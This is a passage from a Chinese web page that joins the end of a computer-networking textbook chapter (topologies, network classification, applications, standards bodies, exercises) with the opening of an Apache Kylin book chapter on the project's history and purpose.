        近些年来,国际电信联盟标准部(ITU-T)已正式采用了用户接入网(简称接入网)这一概念。接入网需要覆盖所有类型的用户。接入网技术可根据所用传输介质的不同分为光纤接入、铜线接入、光纤同轴电缆混合接入和无线接入等多种类型。为了提高接入网的接入带宽和改善接入网的传输性能,世界上各电信设备制造厂商已经研究并开发了利用各种传输介质和先进数字信号处理技术的多种高速接入技术。宽带接入技术基本上分为有线接入和无线接入两种,随着无线技术的发展,宽带无线接入技术逐渐成为一种新的不可忽视的发展趋势,随着5G时代的到来,无线接入技术将会变得更加普遍;对有线接入技术而言,根据传输介质的不同,宽带有线接入技术可以分为铜线接入技术和光纤接入技术两大类。目前,接入技术主要有以下几种。

        • 数字用户线路(DSL)技术
        • 光纤同轴电缆混合(HFC)网技术
        • 光纤接入技术
        • 无线接入技术
        • 局域网接入技术

        2.全光网络
        随着人们对信息的需求与日俱增,Internet业务正在按指数规律逐年增长。一些与人们视觉有关的图像信息,如电视点播(VOD)、可视电话、数字图像(DVD)、高清晰度电视(HDTV)等宽带业务迅速扩大,远程教育、远程医疗、家庭购物、家庭办公等正在蓬勃发展,这些都必须依靠完善的网络。但是,如果完全依靠现有的网络结构,必然会造成业务拥挤和带宽 “枯竭”。人们普遍认为,未来的Internet将构建于以波分多路复用(WDM)技术为核心的光通信基础之上。WDM充分利用了光纤的巨大带宽资源,一根光纤上可以同时传输100多路光波。WDM技术和高速交换式路由器的IP转发结合起来称为IP over WDM。
        光纤传输线路速率的提高也带来了新的问题。如果网络节点处仍以电信号处理的速度进行交换,则网络的各个节点要完成光-电-光转换,电子器件在适应高速度、大容量的需求上,存在着带宽限制、时钟偏移、高功率损耗等问题,成为通信网中的“电子瓶颈”。为此,人们提出了全光网(All Optical Network,AON)的概念,信息流始终以光的形式在网络中传输和交换。基于WDM技术的传输系统和以光交叉连接(OXC)、光分插复用(OADM)设备为主体的光交换系统开始用于构筑今天的光网络,并向3T(Tbit/s传输、Tbit/s交换和Tbit/s路由)光网络发展演进。可以相信,2l世纪光子在通信领域的地位将毫不逊色于20世纪中的电子。
        1998年由著名的网络设备公司Cisco、ATSLT、3Com、Bellcore和Sprint等发起成立了光互联网论坛(Optical Internetworking Forum,OIF),它和ATM Forum、ITU-T等合作进行研究。面向IP业务的全光网络研究已经成为各国研究计划的重点。
        全光网将以光节点取代现有网络的电节点,并用光纤将光节点互连成网,利用光波完成信号的传输、交换等,克服了现有网络在传送和交换时的瓶颈,减少了信息传输的拥塞,提高了网络的吞吐量。全光网已经引起人们极大的兴趣,世界上一些发达国家都在对全光网的关键技术和设备、部件、器件以及材料开展研究,加速推进产业化和应用的进程。如美国的光网络计划ARPA,欧洲与美国一起进行的光网络计划RACE和ACTS。

        1.3 网络拓扑结构

        拓扑(topology)是从图论演变而来的,是一种研究与大小形状无关的点、线、面的特点的方法。在计算机网络中抛开具体设备,把工作站、服务器等网络单元抽象为 “点”,把网络中的电缆等通信介质抽象为 “线”,这样从拓扑学的观点看计算机和网络系统,就形成了点和线组成的几何图形,从而抽象出了网络系统的具体结构。我们把这种采用拓扑学方法抽象出来的网络结构称为计算机网络的拓扑结构。
        计算机网络系统的拓扑结构主要有总线型、星形、环形、树形、不规则型和全连接型几种,如图1-4所示。网络拓扑结构在网络的设计、功能、可靠性、费用等方面有着重要的影响。
        1.星形结构
        星形结构由一个功能较强的中心节点以及一些通过点到点链路连接到中心节点的从节点组成。各从节点间不能直接通信,从节点间的通信必须经过中心节点,如图1-4a所示。如果节点A要向节点B发送数据,则节点A必须先将数据发送给中心节点S,再由中心节点S发送给节点B。
        image.png

        图1-4 网络拓扑结构

        星形结构有两类:一类是中心节点仅完成各从节点的连通;另一类是中心节点具有很强的处理能力,而从节点是一般的计算机或终端,这时中心节点有转接和数据处理的双重功能。此时,中心节点不仅可成为各从节点共享的资源,而且还可以按存储转发方式工作。
        星形结构的优点是建网容易,易于扩充,控制相对简单;其缺点是采用集中控制,对中心节点依赖性过大。
        2.树形结构
        树形结构(也称层次结构)的特点是联网的各计算机按树形组织,树的每个节点都为计算机,如图1-4b所示。一般来说,越靠近树根,节点的处理能力就越强,最低层的节点命名为0级,次低层的为1级,树根的级别最高。低层计算机的功能和应用有关,一般具有明确定义的和非常专门化的任务,树的顶部则有更通用的功能,以便控制协调系统的工作。低层的节点通常仅带有限数量的外围设备,而顶部的节点常为可带有前端机的中型甚至大型计算机。烦琐的、重复性的功能和算法,像数据收集和变换都在底层处理;而数据处理、命令执行(控制)、综合处理等都由顶部节点完成,如共享的数据库放在顶部节点而不是分散在各个低层节点。信息在不同层次上垂直进行传输,这些信息可以是程序、数据、命令或以上三者的组合。树形结构如果仅有两级,就演变为星形结构,一般来说,树形结构的层数也不宜过多,以免转接开销过大。芝加哥大学的Miss系统就是一个典型的树形结构网络。
        树形结构适用于相邻层通信较多的情况,典型的应用是低层节点解决不了的问题请求中层节点解决,中层节点解决不了的问题请求顶部节点解决。
        3.总线型结构
        总线型结构是由一条高速公用总线连接若干个节点所形成的网络,如图1-4c所示,其中一个节点是网络服务器,由它提供网络通信及资源共享服务,其他节点是网络工作站(即用户计算机)。总线型结构网络采用广播通信方式,即由一个节点发出的信息可被网络上的所有节点接收。由于多个节点连接到一条公用总线上,因此必须采取某种介质访问控制规程来分配总线的使用权,以保证在一段时间内只允许一个节点传送信息。目前最常用的且已列入国际标准的规程有:①CSMA/CD访问控制规程;②令牌传送访问控制规程。
        在总线型结构网络中,作为数据通信必经之路的总线的负载能力是有限的,这是由通信介质本身的物理特性所决定的。所以,总线型结构网络中工作站节点的个数是有限制的,如果工作站节点的个数超出总线负载能力,就需要采用分段等方法,并加入相当数量的附加部件,使总线负载达到容量要求。
        总线型网络结构简单灵活、可扩充、设备投入量少、成本低、安装使用方便。但当某个工作站出现故障时,对整个网络系统影响较大。特别是由于所有的工作站通信均通过一条共用的总线,因此实时性较差,当节点通信量增加到一定程度时,性能会急剧下降。
        4.环形结构
        环形网是一种首尾相连的总线型拓扑结构,它由通信线路将各节点连接成一个闭合的环。数据在环上单向流动,每个节点按位转发所经过的信息,常用令牌控制来协调各节点的数据发送,如图1-4d所示。环形结构的特点与总线型结构类似,但网络的可靠性对环路的依赖性更强。
        5.不规则型结构(网状结构
        在广域网中,互连的计算机一般都安装在不同的城市,各节点间距离很长,某些节点间是否能够采用点到点线路专线连接,要依据其间的信息流量以及网络所处的地理位置而定。如果节点间的通信可由其他中继节点转发且不影响网络性能,则可不必直接互连。因此在地域范围很大且节点数较多时,多采用部分节点连接的任意拓扑结构,如图1-4e所示。部分节点连接的网络必然带来经由中继节点转发而相互通信的现象,称为交换。
        不规则型结构网络通常会设置若干冗余通信线路以保证任意节点间的连通性,尤其在出现通信线路故障时,冗余线路的作用表现得更加明显。
        6.全连接型结构
        在全连接型结构中,每个节点和网上其他所有节点都有通信线路连接,这种网络的复杂性随节点数目的增加而迅速增加,如图1-4f所示。例如,将6个节点用点到点方式全连接起来,每个节点要连接5条通信线路,必须有5个通信端口,全网共需15(即N×(N-1)/2)条线路,30个通信端口。全连接型结构网络的优点是无需路由选择,通信方便,实时性强。但这种网络连接复杂,只适合节点数量少、距离很近(如一个房间)的特殊环境下使用。

        1.4 计算机网络分类

        由于计算机网络的广泛使用,目前在世界上出现了多种形式的计算机网络。网络的分类方法也很多,从不同角度观察和区分网络,有利于全面了解计算机网络的各种特性。
        1.按距离划分
        按作用距离及范围可将计算机网络划分为以下三种。

        • 广域网或远程网(Wide Area Network,WAN):广域网的作用范围一般为几十千米到几千千米,覆盖一个国家、地区,或横跨几个洲,形成国际性远程网络。
        • 局域网(Local Area Network,LAN):局域网的作用范围通常为几米到几十千米,用于将有限范围(如一个实验室、一幢大楼、一个校园等)内的各种计算机设备互连成网。
        • 城域网(Metropolitan Area Network,MAN):城域网的作用范围介于WAN与LAN之间,其运行方式与LAN相似。如果不做严格的区分,城域网可以认定为局域网的一种特殊形式。

        2.按通信传播方式划分
        根据通信传播方式的不同,计算机网络可划分为以下两种。

        • 广播网络:该网络的所有计算机共享一个公共通信信道,当一台计算机利用共享信道发送数据时,所有其他计算机都能 “收听”到这个数据。由于发送的数据中携带有目的地址与源地址,所以 “收听”到数据的计算机必须检查目的地址是否与自身地址相匹配;若匹配,则接收数据,否则就丢弃数据。在广播网络中,发送的数据可以使用三种目的地址,即单播地址、组播地址以及广播地址。
        • 点对点网络:与广播网络不同,点对点网络中的每条通信线路只连接一对计算机。若两台计算机间没有直接连接的通信线路,其间的数据传输就必须依赖中间节点的存储转发。由于连接多台计算机的通信线路结构可能较为复杂,从源端到目标端可以存在多条路由,故需要使用路由选择算法决定数据传输的路由。是否采用存储转发与路由选择是点对点网络与广播网络的重要区别之一。

        3.按通信介质划分
        根据通信介质的不同,计算机网络可划分为以下两种。

        • 有线网络:采用同轴电缆、双绞线、光纤等物理介质来传输数据的网络。
        • 无线网络:采用卫星、微波等无线通信介质来传输数据的网络。

        4.按通信速率划分
        根据通信速率的不同,计算机网络可划分为以下三种。

        • 低速网:数据传输速率在300bit/s~1.4Mbit/s之间的网络,这种网络通常是借助调制解调器利用电话线路来实现的。
        • 中速网:数据传输速率在1.5Mbit/s~45Mbit/s之间的网络,这种网络主要是传统的数字式公用数据网。
        • 高速网:数据传输速率在50Mbit/s~1000Mbit/s之间的网络,信息高速公路的数据传输速率会更高。

        5.按使用用户划分
        根据使用用户的不同,计算机网络可划分为以下两种。

        • 公用网:公用网又称公众网,简称公网。对所有人来说,只要符合网络拥有者的要求,就能使用这个网,也就是说,它是为全社会所有人提供服务的网络。
        • 专用网:专用网为一个或几个部门所拥有,简称专网。它只为网络拥有者提供服务,即不向拥有者以外的人提供服务。

        6.按网络控制方式划分
        根据网络所采用的控制方式,计算机网络可划分为以下两种。

        • 集中式网络:这种网络的处理和控制功能高度集中在一个或少数几个节点上,所有的数据流都必须经过这些节点之一,因此,这些节点是网络的控制中心,而其余大多数节点只有较少的,甚至没有控制功能。星形网络和树形网络都是典型的集中式网络。
        • 分布式网络:这种网络不存在控制中心,网络中的任一节点都至少和另外两个节点相连接,数据从一个节点到达另一个节点可能存在多条路径。同时,网络中的各个节点均以平等地位相互协调工作和交换数据,并共同完成大型任务。网状网络属于分布式网络,这种网络具有信息处理的分布性强、可靠性高、可扩充性强及灵活性好等优点。

        7.按网络环境划分
        根据应用环境的不同,计算机网络可划分为以下三种。

        • 部门网络(departmental network):部门网络是作用于一个部门的LAN,该网络通常由几十个工作站、若干个服务器以及可共享的打印机等设备所组成。部门网络中的数据流主要局限于部门内部流动,约占80%,只有少量(约占20%)的数据流是跨越了部门网络到其他网络中进行远程资源访问。
        • 企业网络(enterprise-wide network):这是在一个企业中配置的、能覆盖整个企业的计算机网络。规模适中的企业网络通常由两级网络构成,其低层是分布在各个部门(分公司、处、科)的部门网络,而高层则是用于互连这些部门网络的高速主干网。在规模较大且地理上分散的企业中,往往还需要通过广域网将各地的主干网和部门网互连起来。
        • 校园网络(campus network):指在学校中配置的、覆盖整个学校的计算机网络。通常在一所大学的计算中心和一些系里都配置了部门LAN,它们分散在各大楼中,可利用一个高速主干网将这些分散的LAN连接起来而形成一个两级结构的校园网。

        1.5 计算机网络应用

        1.5.1 计算机网络应用领域

        从20世纪70年代到80年代,计算机网络的应用仅局限于一些大型企业、公司、校园与研究部门,在微型计算机普及之后,人们才看到微型计算机联网后所产生的重大影响,由此计算机网络开始普及。到了20世纪90年代,计算机网络作为个人信息服务的一种重要手段进入家庭。进入21世纪后,计算机网络开始进入个人移动领域。当前,计算机网络的应用已经深入社会的各个领域,在这里仅给出几种典型的应用服务。
        1.企业信息化
        现在机关、企业、校园内都使用着很多计算机,它们通常分布在整幢办公大楼、工厂与校园内。同时,有一些公司拥有多家工厂,这些工厂与公司的一些分支机构与部门可能分布在世界各地。为了实现对全公司的生产、经营以及客户资料等信息的收集、分析、管理工作,很多公司将分布在公司大楼、厂区内,以及世界各地各分支机构办公室内的计算机先连接到各自的局域网内,然后再将这些位置分散的多个局域网互连起来,构成支持整个公司的大型信息系统的网络环境,以超越地理位置的限制,实现分布在世界各地的计算机资源的共享。人们可以通过计算机网络方便地收集各种信息,利用不同的计算机软件对信息进行处理,将各种管理信息发布到各地机构中,完成信息资源的收集、分析、使用与管理,实现从产品设计、生产、销售到财务的全面管理。
        2.电子商务
        现代计算机技术为信息的传输和处理提供了强大的工具,特别是Internet在世界范围的普及和应用,改变了产品的生产过程和服务过程,商业空间拓展到全球性规模,传统意义上的服务、商品流通、产品生产等概念和内涵正在发生理念上的变化。面对全球激烈的市场竞争,企业的产品目录查询、订单收受、送货通知、网络营销、账务管理、库存管理、股票及期货的分析与交易等,从不同视角给企业提供了更多商机,同时也要求企业必须做出实时反应,充分利用现有技术和资源,对企业内部进行必要的改造和重组,以谋求更为广阔的市场。事实上,电子商务正在将计算机技术,特别是WWW技术广泛应用于企业的业务流程,形成崭新的业务构架和交易模式。
        从企业角度出发,电子商务是基于计算机的软硬件、网络通信等基础上的经济活动。它以最新的Internet、Intranet和Extranet作为载体,使企业有效完成自身内部的各项经营管理活动(包括市场、生产、制造、产品服务等),并解决企业之间的商业贸易和合作关系,发展和挖掘个体消费者与企业之间的联系,最终降低产、供、销的成本,增加企业利润,开辟新的市场。在这里,电子技术、网络手段、新的市场等汇合起来,形成一种崭新的商业机制,并逐步发展成为与未来数字社会相适应的贸易形式。
        针对个人而言,电子商务正逐渐渗透到每个人的生活环境,影响人们的生活、工作、学习及消费等行为。网上购物、远程医疗、远程教学、网上炒股等,这些崭新的技术名词不仅越来越多地出现在新闻媒体上,同时逐渐成为每个人生活的一部分,电子商务原来就在身边。
        电子商务对人类的生活方式产生了深远影响。可以足不出户进行网上购物,搜索功能可方便地让顾客货比多家。同时,消费者能以十分轻松自由的自我服务方式来完成交易,从而使用户对服务的满意度大幅度提高。
        3.信息发布与检索
        随着新闻走向在线与个人化,人们可以通过网络向公共传媒服务商订阅感兴趣的新闻(或报纸),而服务商可将用户订阅的新闻传送到其计算机或手机上。这种服务也可以应用在杂志和学术论文的在线数字图书馆,但这取决于它的造价、规模和使用的费用。
        另一类应用就是以WWW方式访问各类信息系统,信息涵盖政府、教育、艺术、保健、娱乐、科学、体育、旅游等各个方面,甚至各类商业广告。
        在信息浩如烟海的互联网上,搜索引擎(如Baidu、Yahoo、Google等)为人们快速检索所需信息提供了强有力的帮助,但是信息爆炸仍是阻碍人们获取有用信息的一大难题。
        4.个人通信
        19世纪、20世纪个人之间通信的基本工具是电话,21世纪个人之间通信的基本工具则是计算机网络,而计算机网络与个人移动通信业务的融合更加速了这方面的应用。电子邮件(Email)目前已广泛应用,不仅用于传送文本文件,还可用于传送语音与图像文件。实时Email还允许远程用户之间无延时地进行通信,且通信双方可以看到对方的图像,听到对方的声音。这种技术可以用于电视会议(video conference),而电视会议可应用于远程教学、远程医疗以及其他很多方面。
        现在Internet上存在很多新闻组(news group),参加不同新闻组的人可以在网上对某个感兴趣的问题相互进行讨论,阅读有关这方面的资料,这也是个人通信在计算机网络应用中颇受欢迎的一种方式。
        5.家庭娱乐
        家庭娱乐正在对信息服务业产生巨大的影响,它可以让人们在家里点播电影和电视节目。新的电影可能成为交互式的,观众可以在看电影时不时地参与到电影情节中。家庭电视也可以成为交互式的,观众可以参与到猜谜等活动之中。
        家庭娱乐中最重要的应用可能是游戏方面。现在已经有很多人喜欢上实时仿真游戏,使用虚拟现实的头盔和三维实时、高清晰度的图像,就可以共享虚拟现实的很多游戏和训练。
        总之,基于计算机网络的各种应用、信息服务、个人通信与家庭娱乐都正在促进信息产品制造业、软件产业与信息服务业的高速发展,也正在引起社会产业结构和从业人员结构的变化,将来会有更多的人从事信息产业与信息服务业的工作。

        1.5.2 计算机网络引发的社会问题

        计算机网络的广泛应用已经对经济、文化、教育、科学的发展与人类生活质量的提高产生了重要影响,同时也不可避免地带来一些新的社会、道德、政治与法律问题。
        随着社会信息化的发展,发达国家的银行正在经历着结构、职能和性质的转化,正在向金融服务的综合化、网络化方向发展。目前向客户提供的金融服务种类极其丰富,其服务网络遍布全世界,直接面向客户的网络银行已经营业。人们已经不习惯随身携带大量现金的购物方式,利用信用卡、支票、移动支付已成为常见方式。大批商业活动与大笔资金通过计算机网络在世界各地快速流通已经对世界经济的发展产生了重要和积极的影响,但同时也面临着严峻的挑战。
        计算机犯罪正在引起社会的普遍关注,而计算机网络一直是受攻击的重点。计算机犯罪是一种高技术型犯罪,由于其犯罪的隐蔽性,对计算机网络安全构成了巨大的威胁。国际上计算机犯罪案件正在以120%的速度增长,在Internet上的 “黑客”(hacker)攻击事件则以每年10倍的速度在增长,计算机病毒从1986年发现首例以来,30年来以几何级数增长,现已有几万种病毒,对计算机网络构成了极大的威胁。国防网络和金融网络则成了计算机犯罪案犯的主攻目标,美国国防部的计算机系统经常发现非法闯入者,美国金融界每年为此损失金额近百亿美元。网络安全问题引起了人们的普遍重视。
        Internet可以为科学研究人员、学生、公司职员提供很多宝贵的信息,使得人们可以不受地理位置与时间的限制,相互交换信息,广泛开展合作研究,不断学习新的知识,以及了解各国科学、文化发展。同时人们也对Internet上一些不健康的、违背道德规范的信息表示了极大的担忧。一些不道德的Internet用户利用网络发表不负责任或损害他人利益的消息,窃取商业、科研机密,侵犯个人隐私,这类事件常常发生,其中有一些已诉诸法律。人们将分布在世界各地的Internet用户称为 “Internet公民”,将网络用户的活动称为 “Internet社会”的活动,这说明Internet的应用已经在人类生活中产生了前所未有的影响。社会是靠道德和法律来维系的。我们必须意识到,对于大到整个Internet、小到各个公司的企业内部网与各个大学的校园网,都存在来自网络内部与外部的各种威胁。要使网络有序、安全地运行,必须加强网络使用规则、网络安全与道德教育,完善网络管理,研究和开发各种网络安全技术与产品,同时也要重视 “网络社会”中的 “道德”与 “法律”,这对于人类又是一个新的课题。

        1.6 计算机网络技术国际标准化组织

        标准化是推动计算机网络发展的至关重要的因素,本节介绍几个与计算机网络技术相关的影响力较大的标准化组织。

        1.6.1 国际标准组织

        1.国际标准化组织(ISO)
        国际标准化组织(International Standards Organization,ISO)是1946年成立的一个自愿的全球性非政府组织。ISO负责目前绝大部分领域(包括军工、石油、船舶等垄断行业)的标准化活动。ISO现有117个成员,包括117个国家和地区。代表中国参加ISO的国家机构是中国国家技术监督局(CSBTS),代表美国参加ISO的国家机构是美国国家标准协会(American National Standards Institute,ANSI)。ISO有大约200个技术委员会(TC),按建立的顺序编号,每个委员会处理专门的主题,如TC97负责计算机和信息处理。每个技术委员会下设分委员会(SC),而分委员会又下设工作组(WG)。
        ISO已经制定了5000多种不同领域的标准,其中既包括OSI计算机网络这样复杂的标准,也有螺钉、螺帽之类的简单标准。
        2.电气电子工程师协会(IEEE)
        电气电子工程师协会(Institute of Electrical and Electronics Engineers,IEEE)是一个国际性电子技术与信息科学工程师协会,是目前全球最大的非营利性专业技术学会,拥有全球近175个国家超过40万名会员,在国际计算机、电信、生物医学、电力及消费性电子产品等领域都是主要的权威机构,在电气及电子工程、计算机及控制技术领域,IEEE发表的文献占了全球近30%。IEEE每年还会主办或协办300多场技术会议。
        IEEE一直致力于推动电工技术在理论方面的发展和应用方面的进步。作为科技革新的催化剂,IEEE通过在广泛领域的活动规划和服务支持其成员的需要。

        1.6.2 Internet标准组织

        因特网(Internet)最具权威的国际组织是因特网协会(Internet SOCiety,ISOC),它于1992年成立,由选举的理事会管理,目标是推动Internet的发展和全球化。
        早于因特网协会成立的因特网体系结构研究委员会(Internet Architecture Board,IAB)也并入了因特网协会,并由因特网协会理事会指定IAB成员。IAB下有两个重要附属机构,一个是因特网工程任务部(Internet Engineering Task Force,IETF),另一个是因特网研究任务部(Internet Research Task Force,IRTF)。
        IETF注重处理短期的工程问题。IETF下辖若干工作组(Working Group,WG),每个工作组解决专门的问题,涉及的主题包括新的应用、用户信息、路由和寻址、安全、网络管理和标准等。现有工作组已超过80个,分布在不同领域,各个领域的组长组成因特网工程指导组(Internet Engineering Steering Group,IESG)。与IETF不同,IRTF注重长期的研究。IRTF由一些研究组(Research Group,RG)组成,具体工作由因特网研究指导组(Internet Research Steering Group,IRSG)管理。
        除IETF和IRTF外,IAB下还有一个Internet编号管理局(Internet Assigned Numbers Authority,IANA),它负责协调IP地址和顶层域名的管理和注册,后来这项工作由Internet名称和号码分配公司(Internet Corporation for Assigned Names and Numbers,ICANN)负责。另外,IAB下还有Internet标准RFC(Request for Comments)编辑部,它负责编辑和管理RFC文档。
        所有的Internet协议标准都是以RFC文档形式提交和发布的,但并不是所有的RFC文档都会成为Internet协议标准。任何机构和个人都可通过RFC发表对Internet某些技术的建议,但只有其中的一小部分最终成为真正的标准。RFC按编写的时间顺序编号,新的编号较大的RFC文档可以更新和替代旧文档。
        RFC文档总体上可以分为3类:标准化进程中的(Standards Track)、最好的当前实践(Best Current Practice,BCP)和非标准的(Non-Standards)。
        标准化进程中的RFC描述正在标准化的协议。一个Internet协议标准由Internet草案开始,然后历经3个阶段—建议标准(proposed standard)、草案标准(draft standard)和最终的因特网标准(Internet standard),这3个阶段有相应的RFC文档。一旦最终成为因特网标准,就被分配一个STD序号。
        为了成为建议标准,提交人必须在RFC中详细阐述技术方案的基本思想,并且能在团体中引起足够的兴趣。为了能到达草案标准阶段,必须在至少两个独立的地点进行4个月的完全测试。如果IAB认为其思路可行并且软件能正常工作,才能宣布该RFC为因特网标准。
        需要声明的是:RFC文档可从因特网免费下载,其官方网址是https://www.rfc-editor.org

        1.6.3 电信标准组织

        电信界与计算机网络技术标准化相关的最有影响的组织是国际电信联盟(International Telecommunication Union,ITU),更具体地说,是它下属的电信标准化部门(ITU Telecommunication,ITU-T)。ITU-T负责电信标准化工作,其前身即国际电报电话咨询委员会(Consultative Committee International Telegraph and Telephone,CCITT)。CCITT和ITU-T都在电话和数据通信领域提出过多项建议,如CCITT X.25,但自1993年起,这些建议都打上了ITU-T标记。
        ITU-T标准称为 “建议”,即政府可以按自己的意愿决定是否采用。

        1.7 习题

        一、填空题
        1.按照覆盖的地理范围不同,计算机网络可以分为            
        2.计算机网络的拓扑结构主要有                    等。
        3.“三网”合一指的是            的融合。
        4.所有的Internet标准都是以    形式发表的。
        5.利用计算机网络可以共享的资源包括            
        二、简答题
        1.计算机网络由哪几个部分组成 ?
        2.计算机网络与分布式计算机系统的主要区别是什么?
        3.从一个普通的RFC文档上升到Internet的正式标准要经过哪些阶段 ?
        4.计算机网络的发展经历了哪些阶段 ?各有什么特点 ?
        5.5个路由器连接成一个点到点的通信子网,在每对路由器之间可以使用一条高速线路、中速线路、低速线路或不设置线路。如果生成和检查每一种拓扑结构需要100ms的计算时间,则需要多少时间才能检查完所有可能的拓扑结构 ?

        ]]>
        带你读《Apache Kylin权威指南》之一:Apache Kylin概述 Fri, 02 May 2025 09:39:04 +0800 大数据技术丛书
        点击查看第二章
        点击查看第三章
        Apache Kylin权威指南(第2版)
        image.png
        Apache Kylin核心团队 著

        第1章

        Apache Kylin概述

        Apache Kylin是Hadoop大数据平台上的一个开源的联机分析处理(Online Analytical Processing, OLAP)引擎。它采用多维立方体预计算技术,将大数据的SQL查询速度从之前的分钟乃至小时级别提升到亚秒级别,这种百倍、千倍的速度提升,为超大规模数据集上的交互式大数据分析奠定了基础。
        Apache Kylin也是第一个由中国人主导的Apache顶级开源项目,在国际开源社区具有极大的影响力。
        本章将对Apache Kylin的历史和背景做一个完整的介绍,并从技术角度对Kylin做一个概括性的介绍。

        1.1 背景和历史

        现今,大数据行业发展得如火如荼,新技术层出不穷,整个生态欣欣向荣。作为大数据领域最重要的技术的Apache Hadoop最初致力于简单的分布式存储,然后在此基础之上实现大规模并行计算,到如今在实时分析、多维分析、交互式分析、机器学习甚至人工智能等方面有了长足的发展。
        2013年年初,在eBay内部使用的传统数据仓库及商业智能平台碰到了“瓶颈”,传统架构只支持垂直扩展,通过在一台计算机上增加CPU和内存等资源来提升计算机的数据处理能力。相对于数据指数级的增长,单机扩展很快达到极限,不可避免地遇到了“瓶颈”。此外,Hadoop大数据平台虽然能存储和批量处理大规模数据,但与BI平台的连接技术还不够成熟,无法提供高效的交互式查询。于是,寻找到更好的交互式大数据分析方案成为当务之急。
        2013年年中,eBay 公司启动了一个大数据项目,其中有一部分内容就是BI on Hadoop的预研。当时,eBay中国卓越中心组建了一支很小的团队,他们在分析和测试了多种开源和商业解决方案后,发现没有一种方案能够完全满足当时的需求,即在超大规模数据集上提供秒级的查询性能,并基于Hadoop与BI平台无缝整合等。在研究了多种可能性后,eBay最终决定自己来实现一套OLAP-on-Hadoop的解决方案,以弥补业界的此类空白。与此同时,eBay也非常鼓励各个项目开源、回馈社区,在给负责整个技术平台的高级副总裁做汇报的时候,得到的一个反馈就是“从第一天起就做好开源的准备”。
        经过一年多的研发,2014年9月底,代号Kylin的大数据平台在eBay内部正式上线。Kylin在Hadoop上提供标准和友好的SQL接口,并且查询速度非常快,原本要几分钟才能完成的查询现在几秒钟就能返回结果,BI分析的工作效率得到几百倍的提升,获得了公司内部客户、合作伙伴及管理层的高度评价,一上线便吸引了多个种子客户。2014年10月1日,Kylin项目负责人韩卿将Kylin的源代码提交到github.com并正式开源。当天就得到了业界专家的关注和认可。图1-1所示为Hortonworks的CTO对Apache Kylin的Twitter评价。
        image.png
        很快,Hadoop社区的许多朋友都鼓励eBay将该项目贡献到Apache 软件基金会(ASF),让它与其他大数据项目一起获得更好的发展,在经过一个月的紧张准备和撰写了无数个版本的项目建议书后,Kylin项目于2014年11月正式加入Apache 孵化器项目,并由多位资深的社区活跃成员做项目导师。
        在接下来的一年中,项目组再次做出了极大努力,包括按照Apache 孵化器要求组建项目管理委员会(PMC)、建立项目网站、整理知识产权并签署必要协议、吸引外部开发者、发展多元化社区、发布多个正式版本等。2015年11月,Apache软件基金会宣布Apache Kylin正式成为顶级项目。
        这是第一个完全由中国团队贡献到全球最大的开源软件基金会的顶级项目。项目负责人韩卿成为Apache Kylin项目管理委员会主席,也成为Apache软件基金会160多个顶级项目中的第一个中国人,Apache Kylin创造了历史。正如Kylin的导师,时任Apache孵化器副总裁的Ted Dunning在ASF官方新闻稿中评价的那样:“Apache Kylin代表了亚洲国家,特别是中国,在开源社区中越来越高的参与度。”
        2016年3月,由Apache Kylin核心开发者组建的创业公司Kyligence正式成立。正如多数成功的开源项目背后都有一家创业公司一样(Hadoop领域有Cloudera、Hortonworks等;Spark有Databricks;Kafka有Confluent等),Kylin也可以通过Kyligence公司的进一步投入保证高速研发,并且Kylin的社区和生态圈也会得到不断的发展和壮大,可以预见这个开源项目将会越来越好。
        在业界极具盛名的技术类独立评选中,InfoWorld的Bossie Award每年都会独立挑选和评论相关的技术、应用和产品等。2015年9月,Apache Kylin与Apache Spark、Apache Kafka、H2O、Apache Zeppelin等一同获得了2015年度“最佳开源大数据工具奖”。这是业界对Apache Kylin的充分认可和褒奖。2016年的InfoWorld获奖榜单进一步收窄,获奖者数量较前一年减少一半,一些新兴项目如Google领导的TensorFlow、Apache Beam崭露头角,值得骄傲的是,Apache Kylin 再次登上领奖台,蝉联“最佳开源大数据工具奖”。
        Apache Kylin 在社区开发者的共同努力下进一步发展和完善,先后发布了1.6、2.0~ 2.5 多个版本,涵盖近实时流、Spark 引擎、RDBMS数据源、Cube Planner,支持Hadoop 3.0等众多新功能,还有一些新功能正在进行公开beta测试,如Parquet 存储引擎、完全实时流数据等,预计在不远的将来会正式发布。同时,Apache Kylin 用户群也在不断发展壮大,跨越亚洲、美洲、欧洲、澳洲等地。据粗略计算,全球已经有超过一千家企业将Apache Kylin 用于自身的关键业务分析。

        1.2 Apache Kylin的使命

        Apache Kylin的使命是实现超高速的大数据OLAP分析,也就是要让大数据分析像使用数据库一样简单迅速,用户的查询请求可以在秒级返回,交互式数据分析以前所未有的速度释放大数据里潜藏的知识和信息,以使我们在面对未来的挑战时占得先机。

        1.2.1 为什么要使用Apache Kylin

        自2006年Hadoop诞生以来,大数据的存储和批处理问题得到了妥善解决,而如何高速地分析数据也就成为下一个挑战。于是各种“SQL-on-Hadoop”技术应运而生,其中以Hive为代表,Impala、Presto、Phoenix、Drill、Spark SQL等紧随其后,它们的主要技术是“大规模并行处理”(Massively Parallel Processing,MPP)和“列式存储”(Columnar Storage)。
        大规模并行处理可以调动多台机器进行并行计算,用线性增加资源来换取计算时间的线性下降。列式存储则将记录按列存放,不仅在访问时可以只读取需要的列,更可以利用存储设备擅长连续读取的特点,大大提高读取的速率。这两项关键技术使得Hadoop上的SQL查询速度从小时级提高到了分钟级。
        然而分钟级别的查询响应仍然与交互式分析的现实需求相差很远。分析师敲入查询指令,按下回车键后,需要去倒杯咖啡,静静地等待结果。得到结果后才能根据情况调整查询,再做下一轮分析。如此反复,一个具体的场景分析常常需要几个小时甚至几天才能完成,数据分析效率低下。
        这是因为大规模并行处理和列式存储虽然提高了计算和存储的速度,但并没有改变查询问题本身的时间复杂度,也没有改变查询时间与数据量呈线性增长的关系这一事实。假设查询1亿条记录耗时1分钟,那么查询10亿条记录就需要10分钟,查询100亿条就至少需要1小时40分钟。
        当然,有很多的优化技术可以缩短查询的时间,比如更快的存储、更高效的压缩算法等,但总体来说,查询性能与数据量呈线性相关这一事实无法改变。虽然大规模并行处理允许十倍或者百倍地扩张计算集群,以期保持分钟级别的查询速度,但购买和部署十倍、百倍的计算集群又很难做到,更何况还需要高昂的硬件运维成本。
        另外,对于分析师来说,完备的、经过验证的数据模型比分析性能更加重要,直接访问纷繁复杂的原始数据并进行相关分析其实并不是很美好的体验,特别是在超大规模数据集上,分析师们把更多的精力花费在了等待查询结果上,而不是用在更加重要的建立领域模型上。

        1.2.2 Apache Kylin怎样解决关键问题

